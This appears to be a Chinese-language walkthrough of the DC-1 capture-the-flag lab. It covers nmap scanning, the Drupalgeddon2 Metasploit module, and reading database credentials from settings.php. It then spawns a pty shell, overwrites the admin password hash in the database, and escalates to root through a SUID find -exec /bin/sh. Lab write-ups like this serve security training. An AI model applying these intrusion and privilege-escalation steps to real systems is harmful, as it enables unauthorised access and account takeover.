DC-1
1.信息收集
探测存活主机
nmap -sP 192.168.14.0/24
扫描开放端口及详细信息
nmap -A -p- 192.168.14.134
WordPress、Joomla、Drupal免费的cms存在一些漏洞。
2.漏洞发现
选择一个最近几年,同时品质比较好的,即exploit/unix/webapp/drupal_drupalgeddon2 ,2018年的,rank为excellent
flag1.txt:每一个好的CMS都需要一个配置文件,你也一样。
Drupal的默认配置文件为/var/www/sites/default/settings.php
flag2:暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。你能用这些凭据做什么?
发现了数据库的账号和密码——dbuser、R0ck3t
3.漏洞利用
通过进程可以发现受害者开放了3306端口但只允许本地登录。
当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。
发现受害者主机上存在python环境,这里使用python进行交互
python -c "import pty;pty.spawn('/bin/bash')"
查看drupaldb数据库的users表发现了admin账号和加密的密码(
S
S
SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR)
通过前面的flag2以及配置文件中的hash_salt可以知道密码肯定是加盐了,暴力破解是很麻烦的。
由于Drupal 7对数据库加密的脚本位于网站根目录scripts下,利用该脚本修改为新密码password
php scripts/password-hash.sh password
password: password
hash: $S$DXAG5jH2V.hUU/PY5gmeDEps74N.NYlJm.iGlI3llbLlKQQ.8tKi
修改数据库中admin的密码
update drupaldb.users set pass="$S$DXAG5jH2V.hUU/PY5gmeDEps74N.NYlJm.iGlI3llbLlKQQ.8tKi" where name="admin";
flag3:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。
通过flag3的提示查看一下/etc/passwd
flag4.txt:您可以使用相同的方法在 root 中查找或访问标志吗?大概, 但也许这并不容易。或者也许是?
根据flag4的提示,root目录下有个flag,但是root目录需要root权限才能访问,这里就要提权了。
4.提权
首先找一下有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
看到find命令有SUID权限,所以这里可以利用find命令进行提权。
find / -exec '/bin/sh' \;
注:/bin/sh是linux内核和用户之间的命令解释器,可以将我们的命令解释并发送给linux内核。
总结
1.nmap进行信息收集
2.drupal配置文件——/var/www/sites/default/settings.php
3.drupal加密密码的脚本——/var/www/scripts/passord-hash.sh
4.python进行交互
5.修改数据库的记录
6.suid-find提权